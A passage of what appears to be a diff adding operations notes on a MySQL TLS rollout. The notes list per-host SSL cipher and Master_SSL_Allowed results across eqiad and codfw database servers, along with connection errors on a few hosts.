+db2064.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2017.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3312: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1021.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1024.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1036.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1047.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1054.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1060.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1063.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1067.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1074.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1076.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1090.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1018.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2036.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2043.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2050.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2057.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2018.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3313: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1015.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1035.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1038.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1044.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1077.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1078.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1075.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2065.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2058.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2051.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2044.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2037.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2019.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3314: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1053.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1056.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1059.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1064.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1068.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1081.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1084.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1091.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1040.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2038.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2045.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2052.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2059.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2066.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2023.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3315: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1026.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1045.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1070.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1071.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1082.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1087.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1092.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1049.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2039.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2046.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2053.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2060.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2067.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2028.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3316: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1022.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1023.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1030.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1037.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1061.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1085.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1088.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1093.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1050.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2040.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2047.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2054.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2061.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2068.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2029.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3317: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1028.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1033.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1034.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1039.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1062.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1079.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1086.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1094.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1041.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2001.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore2002.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db2033.codfw.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1001.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+dbstore1002.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1029.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+db1031.eqiad.wmnet 3306: Ssl_cipher	DHE-RSA-AES256-GCM-SHA384
+```
+
+All single-shard hosts use it for replication, the dbstores and other multi-source replication's host have to restart its io thread to enable TLS:
+```
+$ cat [sx]*.hosts | while read host port; do echo -n ""$host $port: ""; /usr/local/bin/mysql -B -h $host -P $port $db -e ""SHOW ALL SLAVES STATUS\G"" | grep Master_SSL_Allowed; done
+db2034.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2042.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2048.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2055.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2062.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2069.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2070.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2016.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3311: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db1080.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1083.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1089.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1073.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1072.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1066.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1065.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1055.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1051.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1047.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+db1057.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1052.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2035.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2041.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2049.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2056.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2063.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2064.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2017.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3312: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+db1021.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1024.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1036.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1047.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+db1054.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1060.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1063.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1067.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1074.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1076.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1090.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1018.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2036.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2043.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2050.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2057.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2018.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3313: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1015.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1035.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1038.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1044.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1077.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1078.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1075.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2065.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2058.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2051.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2044.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2037.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2019.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3314: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1053.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1056.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1059.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1064.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1068.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1081.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1084.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1091.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1040.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2038.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2045.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2052.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2059.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2066.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2023.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3315: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
